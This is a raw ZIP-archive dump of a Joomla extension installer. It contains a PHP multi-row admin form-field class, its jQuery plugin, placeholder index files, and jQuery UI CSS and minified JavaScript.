-144px}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-first,.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-left,.ui-corner-tl,.ui-corner-top{border-top-left-radius:4px}.ui-corner-all,.ui-corner-right,.ui-corner-top,.ui-corner-tr{border-top-right-radius:4px}.ui-corner-all,.ui-corner-bl,.ui-corner-bottom,.ui-corner-left{border-bottom-left-radius:4px}.ui-corner-all,.ui-corner-bottom,.ui-corner-br,.ui-corner-right{border-bottom-right-radius:4px}.ui-widget-overlay{background:url(images/ui-bg_diagonals-thick_20_666666_40x40.png) 50% 50% #666;opacity:.5;filter:Alpha(Opacity=50)}.ui-widget-shadow{margin:-5px 0 0 -5px;padding:5px;background:url(images/ui-bg_flat_10_000000_40x100.png) 50% 50% repeat-x #000;opacity:.2;filter:Alpha(Opacity=20);border-radius:5px}PK       ! V      X  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/css/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! q9@3  @3  a  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/fields/tzmultifield.phpnu bS        <?php
/*------------------------------------------------------------------------

# TZ Extension

# ------------------------------------------------------------------------

# author    DuongTVTemPlaza

# copyright Copyright (C) 2012 templaza.com. All Rights Reserved.

# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

# Websites: http://www.templaza.com

# Technical Support:  Forum - http://templaza.com/Forum

-------------------------------------------------------------------------*/

// no direct access

defined('JPATH_BASE') or die;

JFormHelper::loadFieldClass('list');

class JFormFieldTzMultiField extends JFormField
{
    protected $type         = 'TzMultiField';
    protected $prefix       = 'tzform';
    protected $text_prefix  = 'PLG_SYSTEM_TZ_TEMPLAZA_MENU_PARAMS';
    protected $module       = 'tz_templaza_menu_params';
    protected $head         = false;
    protected $multiple     = true;

    protected function getName($fieldName)
    {
        return parent::getName($fieldName);
    }

    protected function getInput()
    {
        $value  = $this -> value;
        if(is_string($value)){
            if(!preg_match('/(\{.*?\})/msi',$value)){
                $services   = base64_decode($value);
                if(preg_match_all('/(\{.*?\})/msi',$services,$match)){
                    if(count($match[1])){
                        $this -> setValue($match[1]);
                    }
                }
            }
        }else{
            if(!is_array($this -> value) && preg_match_all('/(\{.*?\})/',$this -> value,$match)) {
                $this -> setValue($match[1]);
            }
        }
        $doc    = JFactory::getDocument();
        if(!$this -> head) {
            $doc->addScript(JUri::root(true) . '/plugins/system/'.$this -> module.'/admin/js/jquery-ui.min.js');
            $doc->addScript(JUri::root(true) . '/plugins/system/'.$this -> module.'/admin/js/tzmultifield.js');
            $doc->addStyleSheet(JUri::root(true) . '/plugins/system/'.$this -> module.'/admin/css/jquery-ui.min.css');
            $doc->addStyleDeclaration('.tzmultifield__table .ui-sortable-helper{
                background: #fff;
            }');
            $this -> head   = true;
        }
        $id                 = $this -> id;
        $element            = $this -> element;
        $this -> __set('multiple','true');

        // Initialize some field attributes.
        $class = !empty($this->class) ? ' class="' . $this->class . '"' : '';
        $disabled = $this->disabled ? ' disabled' : '';

        // Initialize JavaScript field attributes.
        $onchange = $this->onchange ? ' onchange="' . $this->onchange . '"' : '';

        // Get children fields from xml file
        $tzfields = $element->children();
        // Get field with tzfield tags
        $xml                = array();
        $html               = array();
        $thead              = array();
        $tbody_col_require  = array();
        $tbody_row_id       = array();
        $tbody_row_html     = array();
        $tzform_control_id  = array();
        $form_control       = array();

        $tbody_row_html[]   = '<td style="width: 3%; text-align: center;">'
            .'<span class="icon-move hasTooltip" title="'.JText::_($this -> text_prefix.'_MOVE').'"
             style="cursor: move;"></span></td>';

        ob_start();
?>
        <div id="<?php echo $id;?>">
        <div class="control-group">
            <button type="button" class="btn btn-success tz_btn-add">
                <span class="icon-plus icon-white" title="<?php echo JText::_($this -> text_prefix.'_UPDATE');?>"></span>
                <?php echo JText::_($this -> text_prefix.'_UPDATE');?>
            </button>
            <button type="button" class="btn tz_btn-reset">
                <span class="icon-cancel" title="<?php echo JText::_($this -> text_prefix.'_RESET');?>"></span>
                <?php echo JText::_($this -> text_prefix.'_RESET');?>
            </button>
        </div>
        <?php

        // Generate children fields from xml file
        if ($tzfields) {
            $i  = 0;
            foreach ($tzfields as $xmlElement) {
                $type = $xmlElement['type'];
                if (!$type) {
                    $type = 'text';
                }
                $tz_class   = 'JFormField'.ucfirst($type);

                if(!class_exists($tz_class)) {
                    JLoader::register($tz_class,JPATH_LIBRARIES.DIRECTORY_SEPARATOR.'joomla'
                        .DIRECTORY_SEPARATOR.'form'
                    .DIRECTORY_SEPARATOR.'fields'.DIRECTORY_SEPARATOR.$type.'.php');
                }

                // Check formfield class of children field
                if(class_exists($tz_class)) {

                    // Create formfield class of children field
                    $tz_class = new $tz_class();
                    $tz_class -> setForm($this -> form);
                    $tz_class->formControl = $this -> prefix;
                    // Init children field for children class
                    $tz_class -> setup($xmlElement, '');
                    $tz_class -> value      = $xmlElement['default'];
                    $tz_name                = (string)$xmlElement['name'];
                    $tz_tbl_require         = (bool)$xmlElement['table_required'];

                    $tzform_control_id[$i]                      = array();
                    $tzform_control_id[$i]["id"]                = $tz_class -> id;
                    $tzform_control_id[$i]["type"]              = $tz_class -> type;
                    $tzform_control_id[$i]["fieldname"]         = $tz_class -> fieldname;
                    $tzform_control_id[$i]["table_required"]    = 0;
                    $tzform_control_id[$i]["name"]              = $tz_class -> name;
                    $tzform_control_id[$i]["default"]           = $tz_class ->default;
                    $tzform_control_id[$i]["field_required"]    = (bool)$xmlElement['field_required'];
                    $tzform_control_id[$i]["value_validate"]    = (string)$xmlElement['value_validate'];
                    $tzform_control_id[$i]["label"]             = $tz_class -> getTitle();

                    if(isset($xmlElement['showon']) && $xmlElement['showon']){
                        $showon = (string) $xmlElement['showon'];
                        $parse  = JFormHelper::parseShowOnConditions($showon, $this -> prefix);
                        $tzform_control_id[$i]['showon']    = $parse[0]['field'];
                    }

                    // Create table's head column (check attribute table_required of children field from xml file)
                    if ($tz_tbl_require) {
                        $tbody_row_id[]                             = $tz_class -> id;
                        $tbody_col_require[]                        = $tz_class -> fieldname;
                        $tzform_control_id[$i]["table_required"]    = 1;

                        ob_start();
                        ?>
                        <th><?php echo $tz_class -> getTitle(); ?></th>
                        <?php
                        $thead[] = ob_get_clean();
                        ob_start();
                        ?>
                        <td>{<?php echo $tz_class -> id;?>}</td>
                    <?php
                        $tbody_row_html[]   = ob_get_clean();
                    }
                    ob_start();
                    // Generate children field from xml file
                    echo $tz_class -> renderField();
                    ?>
                    <?php
                    $form_control[] = ob_get_clean();
                }
                $i++;
            }
        }
        // Generate table
        if(count($thead)) {
            ?>
            <table class="table table-striped tzmultifield__table">
                <thead>
                <tr>
                    <th style="width: 3%; text-align: center;">#</th>
                    <?php echo implode("\n", $thead); ?>
                    <th style="width: 10%; text-align: center;">Status</th>
                </tr>
                </thead>
                <tbody>
                <?php
                if($values = $this -> value){
                    if(count($values)){
                    foreach($values as $value){
                        $j_value    = json_decode($value);
                ?>
                    <tr>
                        <td style="width: 3%; text-align: center;"><span class="icon-move hasTooltip" style="cursor: move;"
                                  title="<?php echo JText::_($this -> text_prefix.'_MOVE')?>"></span></td>
                        <?php
                        if($j_value && !empty($j_value)) {
                            foreach ($j_value as $key => $_j_value) {
                                if(in_array($key,$tbody_col_require)){

                        ?>
                            <td><?php echo $_j_value ?></td>
                        <?php } }
                        }
                        ?>
                        <td style="width: 3%; text-align: center;">
                            <div class="btn-group">
                                <button class="btn btn-small tz_btn-edit hasTooltip"
                                        type="button" title="<?php echo JText::_('JACTION_EDIT');?>"><i class="icon-edit"></i></button>
                                <button class="btn btn-danger btn-small tz_btn-remove hasTooltip"
                                        type="button" title="<?php echo JText::_($this -> text_prefix.'_REMOVE');?>"><i class="icon-trash"></i></button>
                            </div>
                            <input type="hidden" name="<?php echo $this -> getName($this -> fieldname);?>"
                                   value="<?php echo htmlspecialchars( $value);?>" <?php echo $class . $disabled . $onchange?>/>
                            <?php ?>
                        </td>
                    </tr>
                <?php } } }?>
                </tbody>
            </table>
            <?php
        }

        echo implode("\n",$form_control);

        $tbody_row_html[]   = '<td style="width: 3%; text-align: center;">'
            .'<div class="btn-group">'
            .'<button type="button" class="btn btn-small tz_btn-edit hasTooltip" title="'
            .JText::_('JACTION_EDIT').'"><i class="icon-edit"></i></button>'
            .'<button type="button" class="btn btn-danger btn-small tz_btn-remove hasTooltip" title="'
            .JText::_($this -> text_prefix.'_REMOVE').'">'
            .'<i class="icon-trash"></i></button>'
            .'</div>'
            .'<input type="hidden" name="' . $this -> getName($this -> fieldname) . '" value="{'.
            $this -> id.'}"' . $class . $disabled . $onchange . ' />'
            .'</td>';

        $config = JFactory::getConfig();

        $tbody_row_html = '<tr>'.implode('',$tbody_row_html).'</tr>';

        $doc -> addScriptDeclaration('
            (function($){
                $(document).ready(function(){
                    $("#'.$this -> id.'").mtzmultifield({
                        parentFieldId: "'.$this -> id.'",
                        fields: '.json_encode($tzform_control_id ).',
                        fieldName: "'.$this -> jsmTzMultifieldAddSlashes($this -> getName($this -> fieldname)).'",
                        tbodyHtml: "'.$this -> jsmTzMultifieldAddSlashes(trim($tbody_row_html)).'"
                        ,eMessages: {
                            invalidField: "'.JText::_($this -> text_prefix.'_INVALID_FIELD').'",
                            failOfField: "'.JText::_($this -> text_prefix.'_FAIL_OF_FIELD').'",
                            failToValue: "'.JText::_($this -> text_prefix.'_FAIL_VALUE').'",
                            removeItem: "'.JText::_($this -> text_prefix.'_DELETE_QUESTION').'"
                        }
                    });
                });
            })(jQuery);
        ');
        ?>
        </div>
        <?php
        $html[] = ob_get_contents();
        ob_end_clean();

        return implode("\n",$html);
    }
    protected function jsmTzMultifieldAddSlashes($s)
    {
        $o="";
        $l=strlen($s);
        for($i=0;$i<$l;$i++)
        {
            $c=$s[$i];
            switch($c)
            {
                case '<': $o.='\\x3C'; break;
                case '>': $o.='\\x3E'; break;
                case '\'': $o.='\\\''; break;
                case '\\': $o.='\\\\'; break;
                case '"':  $o.='\\"'; break;
                case "\n": $o.='\\n'; break;
                case "\r": $o.='\\r'; break;
                default:
                    $o.=$c;
            }
        }
        return $o;
    }

}PK       ! V      [  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/fields/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! V      T  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! f{04  4  \  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/js/tzmultifield.jsnu bS        /*------------------------------------------------------------------------

 # TZ Extension

 # ------------------------------------------------------------------------

 # author    DuongTVTemPlaza

 # copyright Copyright (C) 2012 templaza.com. All Rights Reserved.

 # @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

 # Websites: http://www.templaza.com

 # Technical Support:  Forum - http://templaza.com/Forum

 -------------------------------------------------------------------------*/

(function($) {
    'use strict';

    $.mtzmultifield   = function(el, options){
        var service = $(el);

        // making variables public
        service.vars = $.extend({}, $.mtzmultifield.defaults, options);

        var messages = service.vars.eMessages,
            position = -1,
            $hidden_name = service.vars.fieldName;

        // Store a reference to the slider object
        $.data(el, "mtzmultifield", service);

        service.htmlspecialchars    = function(str){
            if (typeof(str) == "string") {
                str = str.replace(/&/g, "&amp;"); /* must do &amp; first */
                str = str.replace(/"/g, "&quot;");
                str = str.replace(/'/g, "&#039;");
                str = str.replace(/</g, "&lt;");
                str = str.replace(/>/g, "&gt;");
            }
            return str;
        };

        // Add new data row
        $(service.vars.selector + " .tz_btn-add").bind("click",function(e){

            // Create input hidden with data were put
            var $tbodyHtmlClone   = service.vars.tbodyHtml;
            var $tbody_bool             = true;
            var $content                = {};

            $.each(service.vars.fields,function(key,value){
                var input_name  = value["name"].replace(/\[/,"\\[")
                    .replace(/\]/,"\\]");

                if(value["field_required"]){
                    $tbody_bool = false;
                    if(!$("#" + value["id"]).val().length){
                        alert(messages.invalidField + value["label"]);
                        $("#" + value["id"]).focus();
                        return false;
                    }
                }

                if(value["value_validate"]){
                    if($("#" + value["id"]).val() == value["value_validate"]){
                        alert(messages.failToValue + value['value_validate'] + messages.failOfField
                            + value["label"]);
                        return false;
                    }
                }

                // Check required and create row for table
                if(value["table_required"]){
                    var pattern = "\\{"+value["id"]+"\\}";
                    var regex   = new RegExp(pattern,'gi');
                    $tbodyHtmlClone   = $tbodyHtmlClone.replace(regex,$("#" + value["id"]).val());
                }

                $tbody_bool = true;

                if(value["type"].toLowerCase() == 'editor'){
                    // Get content of editor
                    if(service.vars.editorUsed == "jce") {
                        $content[value["fieldname"]] = WFEditor.getContent(value["id"]);
                    }else{
                        if(service.vars.editorUsed == "tinymce"){
                            $content[value["fieldname"]]    =  tinyMCE.activeEditor.getContent();
                        }else{
                            if(service.vars.editorUsed == "codemirror") {
                                $content[value["fieldname"]] = Joomla.editors.instances[value["id"]].getValue();
                            }else{
                                $content[value["fieldname"]] = $("#" + value["id"]).val();
                            }
                        }
                    }
                }else {
                    if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'input'
                        && $("[name=" + input_name + "]").prop('type') == 'radio') {
                        $content[value["fieldname"]] = $("[name="+ value["name"].replace(/\[/,"\\[")
                                .replace(/\]/,"\\]")+"]:checked").val();
                    }else {
                        $content[value["fieldname"]] = $("#" + value["id"]).val();
                    }
                }
            });

            if($tbody_bool && Object.keys($content).length){
                var pattern2 = "\\{"+service.vars.parentFieldId+"\\}";
                var regex2   = new RegExp(pattern2,'gi');
                $tbodyHtmlClone   = $tbodyHtmlClone.replace(regex2,service.htmlspecialchars(JSON.stringify($content)));
                if(position > -1 ) {
                    $(service.vars.selector + " .tzmultifield__table tbody tr")
                        .eq( position).after($tbodyHtmlClone).remove();
                    position = -1;
                }else {
                    $(service.vars.selector + " .tzmultifield__table tbody").prepend($tbodyHtmlClone);
                }

                // Call trigger reset form
                $(service.vars.selector + " .tz_btn-reset").trigger("click");

                service.tzPricingTableAction();
            }

        });

        // Reset form
        $(service.vars.selector + " .tz_btn-reset").bind("click",function(){
            if(service.vars.fields.length) {
                $.each(service.vars.fields, function (key, value) {
                    var input_name  = value["name"].replace(/\[/,"\\[")
                        .replace(/\]/,"\\]");
                    if (value["type"].toLowerCase() == 'editor') {
                        if(service.vars.editorUsed == "jce") {
                            WFEditor.setContent(value["id"], value["default"]);
                        }else{
                            if(service.vars.editorUsed == "tinymce"){
                                tinyMCE.activeEditor.setContent(value["default"]);
                            }else{
                                if(service.vars.editorUsed == "codemirror") {
                                    Joomla.editors.instances[value["id"]].setValue(value["default"]);
                                }else{
                                    $("#" + value["id"]).val('');
                                }
                            }
                        }
                    } else {
                        if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'select') {
                            $("#" + value["id"]).val(value["default"])
                                .trigger("liszt:updated");
                        }else{
                            if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'input'
                                && $("[name=" + input_name + "]").prop('type') == 'radio') {
                                $("[name=" + input_name + "]").removeAttr("checked");
                                $("#" + value["id"]+" label[for=" + $("[name=" + input_name + "][value="
                                        + value["default"] +"]").attr("id")
                                    +"]").trigger("click");
                            }else {
                                $("#" + value["id"]).val(value["default"]);
                            }
                        }
                    }
                });
                position = -1;
            }
        });

        service.tzPricingTableAction    = function() {
            // Edit data
            $(service.vars.selector + " .tz_btn-edit").unbind("click").bind("click", function () {
                var $hidden_value = $(this).parents("td").first()
                    .find("input[name=\"" + $hidden_name + "\"]").val();
                if ($hidden_value.length) {
                    var $hidden_obj_value = $.parseJSON($hidden_value);
                    if (service.vars.fields.length) {
                        $.each(service.vars.fields, function (key, value) {
                            var input_name  = value["name"].replace(/\[/,"\\[")
                                .replace(/\]/,"\\]");
                            if(value["showon"]) {
                                $("[name=\"" + value["showon"] + "\"]").trigger("change");
                            }

                            if (value["type"].toLowerCase() == 'editor') {

                                if(service.vars.editorUsed == "jce") {
                                    WFEditor.setContent(value["id"], $hidden_obj_value[value["fieldname"]]);
                                }else{
                                    if(service.vars.editorUsed == "tinymce"){
                                        tinyMCE.activeEditor.setContent($hidden_obj_value[value["fieldname"]]);
                                    }else{
                                        if(service.vars.editorUsed == "codemirror") {
                                            Joomla.editors.instances[value["id"]].setValue($hidden_obj_value[value["fieldname"]]);
                                        }else{
                                            $("#" + value["id"]).val($hidden_obj_value[value["fieldname"]]);
                                        }
                                    }
                                }
                            } else{
                                if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'select') {
                                    $("#" + value["id"]).val($hidden_obj_value[value["fieldname"]])
                                        .trigger("liszt:updated");
                                }else{
                                    if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'input'
                                        && $("[name=" + input_name + "]").prop('type') == 'radio') {
                                        $("[name=" + input_name + "]").removeAttr("checked");
                                        $("#" + value["id"]+" label[for=" + $("[name=" + input_name + "][value="
                                                + $hidden_obj_value[value["fieldname"]] +"]").attr("id")
                                            +"]").trigger("click");
                                    }else {
                                        $("#" + value["id"]).val($hidden_obj_value[value["fieldname"]]);
                                    }
                                }
                            }

                            if($(service.vars.selector + " .field-media-wrapper").data("fieldMedia")){
                                var fieldMedia = $(service.vars.selector + " .field-media-wrapper").data("fieldMedia");
                                fieldMedia.updatePreview();
                            }
                        });
                        position = $(service.vars.selector + " .tzmultifield__table tbody tr")
                            .index($(this).parents("tr").first());
                    }
                }
            });

            // Remove data row
            $(service.vars.selector + " .tz_btn-remove").unbind("click").bind("click", function () {
                var message = confirm(messages.removeItem);
                if (message) {
                    var curpos = $(service.vars.selector + " .tzmultifield__table tbody tr")
                        .index($(this).parents("tr").first());
                    $(this).parents('tr').first().remove();
                    if(position != -1){
                        if(curpos < position){
                            position -= 1;
                        }else{
                            if(curpos == position) {
                                position = -1;
                            }
                        }
                    }
                }
            });
        };

        service.tzPricingTableAction();

        // Sortable row
        $(service.vars.selector + " .tzmultifield__table tbody").sortable({
            cursor: "move",
            items: "> tr",
            revert: true,
            handle: ".icon-move",
            forceHelperSize: true,
            placeholder: "ui-state-highlight"
        });
        return this;
    };
    $.mtzmultifield.defaults  = {
        id: "",
        tbodyHtml: "",
        fields: "",
        fieldName: "",
        parentFieldId: "",
        editorUsed: "tinymce",
        eMessages: {
            invalidField: "Invalid field: ",
            failOfField: "of field ",
            failToValue: "Failed to put value:",
            removeItem: "Are you sure to remove this item?"
        }
    };

    $.fn.mtzmultifield = function(options){

        if(options === undefined) options   = {};
        if(typeof options === 'object'){
            if(!options.selector){options.selector  = this.selector; }
            // Call function
            return this.each(function() {
                var $this = $(this);
                // Call function
                if ($this.data("mtzmultifield") === undefined) {
                    new $.mtzmultifield(this, options);
                }
            });
        }else{
            
        }
    }
})(jQuery);PK       ! V      W  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/js/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! Ո[ [ ]  tz_portfolio_plus_install/install_5ded20a08d315/tpl_profiler_params/admin/js/jquery-ui.min.jsnu bS        /*! jQuery UI - v1.11.4 - 2015-08-21
* http://jqueryui.com
* Includes: core.js, widget.js, mouse.js, position.js, draggable.js, droppable.js, resizable.js, selectable.js, sortable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */

(function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)})(function(e){function t(t,s){var n,a,o,r=t.nodeName.toLowerCase();return"area"===r?(n=t.parentNode,a=n.name,t.href&&a&&"map"===n.nodeName.toLowerCase()?(o=e("img[usemap='#"+a+"']")[0],!!o&&i(o)):!1):(/^(input|select|textarea|button|object)$/.test(r)?!t.disabled:"a"===r?t.href||s:s)&&i(t)}function i(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return"hidden"===e.css(this,"visibility")}).length}e.ui=e.ui||{},e.extend(e.ui,{version:"1.11.4",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),e.fn.extend({scrollParent:function(t){var i=this.css("position"),s="absolute"===i,n=t?/(auto|scroll|hidden)/:/(auto|scroll)/,a=this.parents().filter(function(){var t=e(this);return s&&"static"===t.css("position")?!1:n.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==i&&a.length?a:e(this[0].ownerDocument||document)},uniqueId:function(){var e=0;return function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++e)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&e(this).removeAttr("id")})}}),e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(i){return!!e.data(i,t)}}):function(t,i,s){return!!e.data(t,s[3])},focusable:function(i){return t(i,!isNaN(e.attr(i,"tabindex")))},tabbable:function(i){var s=e.attr(i,"tabindex"),n=isNaN(s);return(n||s>=0)&&t(i,!n)}}),e("<a>").outerWidth(1).jquery||e.each(["Width","Height"],function(t,i){function s(t,i,s,a){return e.each(n,function(){i-=parseFloat(e.css(t,"padding"+this))||0,s&&(i-=parseFloat(e.css(t,"border"+this+"Width"))||0),a&&(i-=parseFloat(e.css(t,"margin"+this))||0)}),i}var n="Width"===i?["Left","Right"]:["Top","Bottom"],a=i.toLowerCase(),o={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn["inner"+i]=function(t){return void 0===t?o["inner"+i].call(this):this.each(function(){e(this).css(a,s(this,t)+"px")})},e.fn["outer"+i]=function(t,n){return"number"!=typeof t?o["outer"+i].call(this,t):this.each(function(){e(this).css(a,s(this,t,!0,n)+"px")})}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e.fn.removeData)),e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),e.fn.extend({focus:function(t){return function(i,s){return"number"==typeof i?this.each(function(){var t=this;setTimeout(function(){e(t).focus(),s&&s.call(t)},i)}):t.apply(this,arguments)}}(e.fn.focus),disableSelection:function(){var e="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.bind(e+".ui-disableSelection",function(e){e.preventDefault()})}}(),enableSelection:function(){return this.unbind(".ui-disableSelection")},zIndex:function(t){if(void 0!==t)return this.css("zIndex",t);if(this.length)for(var i,s,n=e(this[0]);n.length&&n[0]!==document;){if(i=n.css("position"),("absolute"===i||"relative"===i||"fixed"===i)&&(s=parseInt(n.css("zIndex"),10),!isNaN(s)&&0!==s))return s;n=n.parent()}return 0}}),e.ui.plugin={add:function(t,i,s){var n,a=e.ui[t].prototype;for(n in s)a.plugins[n]=a.plugins[n]||[],a.plugins[n].push([i,s[n]])},call:function(e,t,i,s){var n,a=e.plugins[t];if(a&&(s||e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType))for(n=0;a.length>n;n++)e.options[a[n][0]]&&a[n][1].apply(e.element,i)}};var s=0,n=Array.prototype.slice;e.cleanData=function(t){return function(i){var s,n,a;for(a=0;null!=(n=i[a]);a++)try{s=e._data(n,"events"),s&&s.remove&&e(n).triggerHandler("remove")}catch(o){}t(i)}}(e.cleanData),e.widget=function(t,i,s){var n,a,o,r,h={},l=t.split(".")[0];return t=t.split(".")[1],n=l+"-"+t,s||(s=i,i=e.Widget),e.expr[":"][n.toLowerCase()]=function(t){return!!e.data(t,n)},e[l]=e[l]||{},a=e[l][t],o=e[l][t]=function(e,t){return this._createWidget?(arguments.length&&this._createWidget(e,t),void 0):new o(e,t)},e.extend(o,a,{version:s.version,_proto:e.extend({},s),_childConstructors:[]}),r=new i,r.options=e.widget.extend({},r.options),e.each(s,function(t,s){return e.isFunction(s)?(h[t]=function(){var e=function(){return i.prototype[t].apply(this,arguments)},n=function(e){return i.prototype[t].apply(this,e)};return function(){var t,i=this._super,a=this._superApply;return this._super=e,this._superApply=n,t=s.apply(this,arguments),this._super=i,this._superApply=a,t}}(),void 0):(h[t]=s,void 0)}),o.prototype=e.widget.extend(r,{widgetEventPrefix:a?r.widgetEventPrefix||t:t},h,{constructor:o,namespace:l,widgetName:t,widgetFullName:n}),a?(e.each(a._childConstructors,function(t,i){var s=i.prototype;e.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete a._childConstructors):i._childConstructors.push(o),e.widget.bridge(t,o),o},e.widget.extend=function(t){for(var i,s,a=n.call(arguments,1),o=0,r=a.length;r>o;o++)for(i in a[o])s=a[o][i],a[o].hasOwnProperty(i)&&void 0!==s&&(t[i]=e.isPlainObject(s)?e.isPlainObject(t[i])?e.widget.extend({},t[i],s):e.widget.extend({},s):s);return t},e.widget.bridge=function(t,i){var s=i.prototype.widgetFullName||t;e.fn[t]=function(a){var o="string"==typeof a,r=n.call(arguments,1),h=this;return o?this.each(function(){var i,n=e.data(this,s);return"instance"===a?(h=n,!1):n?e.isFunction(n[a])&&"_"!==a.charAt(0)?(i=n[a].apply(n,r),i!==n&&void 0!==i?(h=i&&i.jquery?h.pushStack(i.get()):i,!1):void 0):e.error("no such method '"+a+"' for "+t+" widget instance"):e.error("cannot call methods on "+t+" prior to initialization; "+"attempted to call method '"+a+"'")}):(r.length&&(a=e.widget.extend.apply(null,[a].concat(r))),this.each(function(){var t=e.data(this,s);t?(t.option(a||{}),t._init&&t._init()):e.data(this,s,new i(a,this))})),h}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(t,i){i=e(i||this.defaultElement||this)[0],this.element=e(i),this.uuid=s++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),i!==this&&(e.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===i&&this.destroy()}}),this.document=e(i.style?i.ownerDocument:i.document||i),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:e.noop,_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetFullName).removeData(e.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:e.noop,widget:function(){return this.element},option:function(t,i){var s,n,a,o=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(o={},s=t.split("."),t=s.shift(),s.length){for(n=o[t]=e.widget.extend({},this.options[t]),a=0;s.length-1>a;a++)n[s[a]]=n[s[a]]||{},n=n[s[a]];if(t=s.pop(),1===arguments.length)return void 